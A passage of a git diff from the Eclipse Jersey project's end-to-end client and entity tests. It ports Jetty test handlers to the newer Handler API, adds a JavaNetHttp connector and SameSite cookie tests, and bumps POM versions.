 import org.glassfish.jersey.client.RequestEntityProcessing;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
 import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
 import org.glassfish.jersey.media.multipart.FormDataBodyPart;
@@ -35,6 +34,7 @@
 import org.glassfish.jersey.media.multipart.MultiPart;
 import org.glassfish.jersey.media.multipart.MultiPartFeature;
 import org.glassfish.jersey.message.internal.ReaderWriter;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
@@ -75,17 +75,16 @@
     private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName());
 
     public static ConnectorProvider[] testData() {
-        int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 3 : 4;
-        final ConnectorProvider[] providers = new ConnectorProvider[size];
-        providers[0] = new HttpUrlConnectorProvider();
-        providers[1] = new NettyConnectorProvider();
-        providers[2] = new JdkConnectorProvider();
-        if (size == 4) {
-            providers[3] = new JettyConnectorProvider();
-        }
+        final ConnectorProvider[] providers = new ConnectorProvider[] {
+                new HttpUrlConnectorProvider(),
+                new NettyConnectorProvider(),
+                new JdkConnectorProvider(),
+                new JettyConnectorProvider(),
+        };
         return providers;
     }
 
+
     @TestFactory
     public Collection<DynamicContainer> generateTests() {
         Collection<DynamicContainer> tests = new ArrayList<>();
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
index 4e1b89e..adc1b27 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
@@ -58,10 +58,10 @@
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
@@ -107,11 +107,13 @@
                 {new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
+                {new JavaNetHttpConnectorProvider(), true, true, false, false},
                 {new HttpUrlConnectorProvider(), true, true, true, true},
                 {new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed
                 {new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
+                {new JavaNetHttpConnectorProvider(), true, true, false, false},
         });
     }
 
@@ -119,10 +121,6 @@
     public Collection<DynamicContainer> generateTests() {
         Collection<DynamicContainer> tests = new ArrayList<>();
         testData().forEach(arr -> {
-            if (JdkVersion.getJdkVersion().getMajor() < 11
-                    && arr[0].getClass().getName().contains("Jetty")) {
-                return;
-            }
             RequestHeaderModificationsTemplateTest test = new RequestHeaderModificationsTemplateTest(
                     (ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2], (boolean) arr[3], (boolean) arr[4]) {};
             tests.add(TestHelper.toTestContainer(test, String.format("%s (%s, %s, %s)",
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
index 030119a..65e64a9 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
@@ -17,10 +17,11 @@
 
 package org.glassfish.jersey.tests.e2e.client.connector.proxy;
 
+import org.eclipse.jetty.server.Handler;
 import org.eclipse.jetty.server.HttpChannel;
 import org.eclipse.jetty.server.Request;
 import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.util.Callback;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.netty.connector.NettyClientProperties;
 import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
@@ -30,8 +31,6 @@
 import org.junit.jupiter.api.BeforeAll;
 import org.junit.jupiter.api.Test;
 
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.client.ClientBuilder;
@@ -113,21 +112,20 @@
         return client().target("http://eclipse.org:9998").path(path);
     }
 
-    static class ProxyHandler extends AbstractHandler {
+    static class ProxyHandler extends Handler.Abstract {
         Set<HttpChannel> httpConnect = new HashSet<>();
+
         @Override
-        public void handle(String target,
-                           Request baseRequest,
-                           HttpServletRequest request,
-                           HttpServletResponse response) {
-            if (request.getHeader(NO_PASS) != null) {
-                response.setStatus(Integer.parseInt(request.getHeader(NO_PASS)));
+        public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception {
+            if (request.getHeaders().get(NO_PASS) != null) {
+                response.setStatus(Integer.parseInt(request.getHeaders().get(NO_PASS)));
             } else {
                 response.setStatus(407);
-                response.addHeader("Proxy-Authenticate", "Basic");
+                response.getHeaders().add("Proxy-Authenticate", "Basic");
             }
 
-            baseRequest.setHandled(true);
+            callback.succeeded();
+            return true;
         }
     }
 }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
index 25368cb..9da5b53 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
@@ -17,10 +17,12 @@
 
 package org.glassfish.jersey.tests.e2e.client.connector.proxy;
 
+import org.eclipse.jetty.server.Handler;
 import org.eclipse.jetty.server.HttpChannel;
 import org.eclipse.jetty.server.Request;
 import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.server.internal.HttpChannelState;
+import org.eclipse.jetty.util.Callback;
 import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
@@ -38,8 +40,6 @@
 import org.junit.platform.suite.api.SelectClasses;
 import org.junit.platform.suite.api.Suite;
 
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.client.ClientBuilder;
@@ -202,17 +202,14 @@
         }
     }
 
-    static class ProxyHandler extends AbstractHandler {
+    static class ProxyHandler extends Handler.Abstract {
         Set<HttpChannel> httpConnect = new HashSet<>();
         @Override
-        public void handle(String target,
-                           Request baseRequest,
-                           HttpServletRequest request,
-                           HttpServletResponse response) {
-            if (request.getHeader(PROXY_NO_PASS) != null) {
-                response.setStatus(Integer.parseInt(request.getHeader(PROXY_NO_PASS)));
-            } else if (request.getHeader("Proxy-Authorization") != null) {
-                String proxyAuthorization = request.getHeader("Proxy-Authorization");
+        public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception {
+            if (request.getHeaders().get(PROXY_NO_PASS) != null) {
+                response.setStatus(Integer.parseInt(request.getHeaders().get(PROXY_NO_PASS)));
+            } else if (request.getHeaders().get("Proxy-Authorization") != null) {
+                String proxyAuthorization = request.getHeaders().get("Proxy-Authorization");
                 String decoded = new String(Base64.getDecoder().decode(proxyAuthorization.substring(6).getBytes()),
                         CHARACTER_SET);
                 final String[] split = decoded.split(":");
@@ -231,21 +228,36 @@
 
                 if (response.getStatus() != 400) {
                     response.setStatus(200);
-                    if ("CONNECT".equalsIgnoreCase(baseRequest.getMethod())) { // NETTY way of doing proxy
-                        httpConnect.add(baseRequest.getHttpChannel());
+                    if ("CONNECT".equalsIgnoreCase(request.getMethod())) { // NETTY way of doing proxy
+                        if (!(request.getComponents() instanceof HttpChannelState)) {
+                            response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
+                            callback.failed(new IllegalStateException(
+                                    "Expecting request.getComponents() to be an instance of HttpChannelState"));
+                            return true;
+                        }
+                        HttpChannel httpChannel = (HttpChannel) request.getComponents();
+                        httpConnect.add(httpChannel);
                     }
                 }
                 //TODO Add redirect to requestURI
             } else {
-                if (httpConnect.contains(baseRequest.getHttpChannel())) {
+                if (!(request.getComponents() instanceof HttpChannelState)) {
+                    response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
+                    callback.failed(new IllegalStateException(
+                            "Expecting request.getComponents() to be an instance of HttpChannelState"));
+                    return true;
+                }
+                HttpChannel httpChannel = (HttpChannel) request.getComponents();
+                if (httpConnect.contains(httpChannel)) {
                     response.setStatus(200);
                 } else {
                     response.setStatus(407);
-                    response.addHeader("Proxy-Authenticate", "Basic");
+                    response.getHeaders().add("Proxy-Authenticate", "Basic");
                 }
             }
 
-            baseRequest.setHandled(true);
+            callback.succeeded();
+            return true;
         }
     }
 }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
index a458eb9..0fde39c 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,6 @@
 
 import java.io.IOException;
 import java.io.InputStream;
-import java.util.Arrays;
 import java.util.stream.Stream;
 
 import javax.net.ssl.SSLContext;
@@ -29,8 +28,8 @@
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
 
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
@@ -55,15 +54,15 @@
      * @return test parameters.
      */
     public static Stream<ConnectorProvider> testData() {
-        int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 4 : 5;
-        final ConnectorProvider[] providers = new ConnectorProvider[size];
-        providers[0] = new HttpUrlConnectorProvider();
-        providers[1] = new GrizzlyConnectorProvider();
-        providers[2] = new ApacheConnectorProvider();
-        providers[3] = new Apache5ConnectorProvider();
-        if (size == 5) {
-            providers[4] = new JettyConnectorProvider();
-        }
+        final ConnectorProvider[] providers = new ConnectorProvider[] {
+                new HttpUrlConnectorProvider(),
+                new GrizzlyConnectorProvider(),
+                new ApacheConnectorProvider(),
+                new Apache5ConnectorProvider(),
+                new JavaNetHttpConnectorProvider(),
+                new JettyConnectorProvider()
+        };
+
         return Stream.of(providers);
     }
 
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
index 2034975..544f5d9 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
@@ -34,6 +34,8 @@
 import org.glassfish.jersey.jetty.connector.JettyClientProperties;
 
 import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
+
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.MethodSource;
 import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -67,8 +69,10 @@
     @ParameterizedTest
     @MethodSource("testData")
     public void testHostnameVerifierApplied(ConnectorProvider connectorProvider) throws Exception {
-        // Grizzly connector does not support Hostname Verification
-        if (isExcluded(Arrays.asList(GrizzlyConnectorProvider.class), connectorProvider)) {
+        // Grizzly and JavaNetHttp connectors do not support Hostname Verification
+        if (isExcluded(Arrays.asList(GrizzlyConnectorProvider.class,
+                JavaNetHttpConnectorProvider.class),
+                connectorProvider)) {
             return;
         }
 
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
index f057572..e984b72 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.client.httpurlconnector;
 
-import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.RequestEntityProcessing;
 import org.glassfish.jersey.client.http.Expect100ContinueFeature;
 import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
index db08f92..ffb8b1f 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,10 @@
 
 package org.glassfish.jersey.tests.e2e.client.nettyconnector;
 
+import org.eclipse.jetty.server.Handler;
 import org.eclipse.jetty.server.Request;
 import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.util.Callback;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.client.RequestEntityProcessing;
@@ -27,11 +28,8 @@
 import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
 import org.junit.jupiter.api.AfterAll;
 import org.junit.jupiter.api.BeforeAll;
-import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
 import jakarta.ws.rs.client.ClientBuilder;
@@ -40,6 +38,7 @@
 import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.Response;
 import java.io.IOException;
+import java.nio.ByteBuffer;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -64,9 +63,10 @@
 
     private static Server server;
     @BeforeAll
-    public static void startExpect100ContinueTestServer() {
+    private static void startExpect100ContinueTestServer() {
         server = new Server(portNumber);
-        server.setHandler(new Expect100ContinueTestHandler());
+        server.setDefaultHandler(new Expect100ContinueTestHandler());
+        server.setDynamic(true);
         try {
             server.start();
         } catch (Exception e) {
@@ -75,31 +75,28 @@
     }
 
     @AfterAll
-    public static void stopExpect100ContinueTestServer() {
+    private static void stopExpect100ContinueTestServer() {
         try {
             server.stop();
         } catch (Exception e) {
         }
     }
 
-    private static Client client;
-    @BeforeEach
-    public void beforeEach() {
+    @BeforeAll
+    private static void initClient() {
         final ClientConfig config = new ClientConfig();
-        this.configureClient(config);
+        config.connectorProvider(new NettyConnectorProvider());
         client = ClientBuilder.newClient(config);
     }
 
-    private Client client() {
-        return client;
+    @AfterAll
+    private static void stopClient() {
+        client.close();
     }
 
+    private static Client client;
     public WebTarget target(String path) {
-        return client().target(String.format("http://localhost:%d", portNumber)).path(path);
-    }
-
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new NettyConnectorProvider());
+        return client.target(String.format("http://localhost:%d", portNumber)).path(path);
     }
 
     @Test
@@ -202,39 +199,45 @@
                .post(Entity.text(ENTITY_STRING)));
     }
 
-    static class Expect100ContinueTestHandler extends AbstractHandler {
+    static class Expect100ContinueTestHandler extends Handler.Abstract {
         @Override
-        public void handle(String target,
-                           Request baseRequest,
-                           HttpServletRequest request,
-                           HttpServletResponse response) throws IOException {
-            boolean expected = request.getHeader("Expect") != null;
+        public boolean handle(Request request,
+                              org.eclipse.jetty.server.Response response,
+                              Callback callback) throws IOException {
+            boolean expected = request.getHeaders().contains("Expect");
             boolean failed = false;
+            final String target = request.getHttpURI().getCanonicalPath();
             if (target.equals("/" + RESOURCE_PATH_NOT_SUPPORTED)) {
-                response.sendError(417);
+                response.setStatus(417);
                 failed = true;
             }
             if (target.equals("/" + RESOURCE_PATH_UNAUTHORIZED)) {
-                response.sendError(401);
+                response.setStatus(401);
                 failed = true;
             }
             if (target.equals("/" + RESOURCE_PATH_PAYLOAD_TOO_LARGE)) {
-                response.sendError(413);
+                response.setStatus(413);
                 failed = true;
             }
             if (target.equals("/" + RESOURCE_PATH_METHOD_NOT_SUPPORTED)) {
-                response.sendError(405);
+                response.setStatus(405);
                 failed = true;
             }
             if (expected && !failed) {
                 System.out.println("Expect:100-continue found, sending response header");
                 response.setStatus(204);
+                callback.succeeded();
+                return true;
             }
-            response.getWriter().println();
-            response.flushBuffer();
-            baseRequest.setHandled(true);
+            if (!expected && !failed) {
+                response.reset();
+                callback.succeeded();
+                return true;
+            }
+            response.write(true, ByteBuffer.wrap("\n\r".getBytes()), callback);
 
-            request.getReader().lines().forEach(System.out::println);
+            callback.failed(new ProcessingException(""));
+            return true;
         }
     }
 }
\ No newline at end of file
diff --git a/tests/e2e-core-common/pom.xml b/tests/e2e-core-common/pom.xml
index 1364ab7..1995d04 100644
--- a/tests/e2e-core-common/pom.xml
+++ b/tests/e2e-core-common/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-core-common</artifactId>
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
index 491f42b..12b2a54 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,10 @@
 
 package org.glassfish.jersey.tests.e2e.common;
 
+import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.core.Link;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.Response;
@@ -30,6 +32,8 @@
 
 import org.junit.jupiter.api.Assertions;
 
+import java.util.concurrent.CompletionStage;
+
 /**
  * Test runtime delegate.
  *
@@ -47,6 +51,22 @@
         throw new UnsupportedOperationException("Not supported yet.");
     }
 
+    @Override
+    public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> aClass,
+                                                           SeBootstrap.Configuration configuration) {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
     public void testMediaType() {
         MediaType m = new MediaType("text", "plain");
         Assertions.assertNotNull(m);
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
index ad4b91a..16e9e0e 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,14 +37,18 @@
 
     @Test
     public void testCaseInsensitiveNewCookieParams() throws Exception {
-        _testCaseInsensitiveNewCookieParams("expires", "max-age", "path", "domain", "comment", "version", "secure", "httponly");
-        _testCaseInsensitiveNewCookieParams("Expires", "Max-Age", "Path", "Domain", "Comment", "Version", "Secure", "HttpOnly");
-        _testCaseInsensitiveNewCookieParams("exPires", "max-aGe", "patH", "doMAin", "Comment", "vErsion", "secuRe", "httPonly");
+        _testCaseInsensitiveNewCookieParams("expires", "max-age", "path", "domain",
+                "comment", "version", "secure", "httponly", "samesite");
+        _testCaseInsensitiveNewCookieParams("Expires", "Max-Age", "Path", "Domain",
+                "Comment", "Version", "Secure", "HttpOnly", "SameSite");
+        _testCaseInsensitiveNewCookieParams("exPires", "max-aGe", "patH", "doMAin",
+                "Comment", "vErsion", "secuRe", "httPonly", "samEsite");
     }
 
     private void _testCaseInsensitiveNewCookieParams(final String expires, final String maxAge, final String path,
                                                      final String domain, final String comment, final String version,
-                                                     final String secure, final String httpOnly) throws Exception {
+                                                     final String secure, final String httpOnly, final String sameSite)
+            throws Exception {
 
         final String header = "foo=bar;"
                 + expires + "=Tue, 15 Jan 2013 21:47:38 GMT;"
@@ -54,7 +58,8 @@
                 + comment + "=Testing;"
                 + version + "=1;"
                 + secure + ";"
-                + httpOnly;
+                + httpOnly + ";"
+                + sameSite + "=STRICT";
 
         final NewCookie cookie = CookiesParser.parseNewCookie(header);
 
@@ -69,5 +74,6 @@
         assertThat(cookie.getVersion(), equalTo(1));
         assertThat(cookie.isSecure(), is(true));
         assertThat(cookie.isHttpOnly(), is(true));
+        assertThat(cookie.getSameSite(), equalTo(NewCookie.SameSite.STRICT));
     }
 }
diff --git a/tests/e2e-entity/pom.xml b/tests/e2e-entity/pom.xml
index 734264a..1ec9ae1 100644
--- a/tests/e2e-entity/pom.xml
+++ b/tests/e2e-entity/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-entity</artifactId>
@@ -224,6 +224,15 @@
             </properties>
         </profile>
         <profile>
+            <id>test-suit</id> <!--due to the broadcast test failure after update to the latest junit platform suite -->
+            <activation>       <!--for JDK 11 (only in CI/CD job) it's required to used legacy junit version -->
+                <jdk>11</jdk>
+            </activation>
+            <properties>
+                <junit-platform-suite.version>${junit-platform-suite.legacy.version}</junit-platform-suite.version>
+            </properties>
+        </profile>
+        <profile>
             <id>sonar</id>
             <build>
                 <pluginManagement>
diff --git a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java
index 77a74a6..9e872fc 100644
--- a/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java
+++ b/tests/e2e-entity/src/test/java/org/glassfish/jersey/tests/e2e/entity/EntityTypesTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -72,6 +72,7 @@
 import org.glassfish.jersey.internal.util.collection.MultivaluedStringMap;
 import org.glassfish.jersey.jettison.JettisonFeature;
 import org.glassfish.jersey.message.internal.FileProvider;
+import org.glassfish.jersey.message.internal.PathProvider;
 import org.glassfish.jersey.server.ResourceConfig;
 
 import org.codehaus.jettison.json.JSONArray;
@@ -431,6 +432,20 @@
         _test(in, FileResource.class);
     }
 
+    @Path("PathResource")
+    public static class PathResource extends AResource<java.nio.file.Path> {
+    }
+
+    @Test
+    @Execution(ExecutionMode.CONCURRENT)
+    public void testPathRepresentation() throws IOException {
+        final var pp = new PathProvider();
+        final var in = pp.readFrom(java.nio.file.Path.class, java.nio.file.Path.class, null, null, null,
+                new ByteArrayInputStream("CONTENT".getBytes()));
+
+        _test(in, PathResource.class);
+    }
+
     @Produces("application/x-www-form-urlencoded")
     @Consumes("application/x-www-form-urlencoded")
     @Path("FormResource")
diff --git a/tests/e2e-inject/cdi-inject-weld/pom.xml b/tests/e2e-inject/cdi-inject-weld/pom.xml
index 558857e..507c4ad 100644
--- a/tests/e2e-inject/cdi-inject-weld/pom.xml
+++ b/tests/e2e-inject/cdi-inject-weld/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>e2e-inject</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject-cdi-inject-weld</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/pom.xml b/tests/e2e-inject/cdi2-se/pom.xml
index 8857958..bba8922 100644
--- a/tests/e2e-inject/cdi2-se/pom.xml
+++ b/tests/e2e-inject/cdi2-se/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
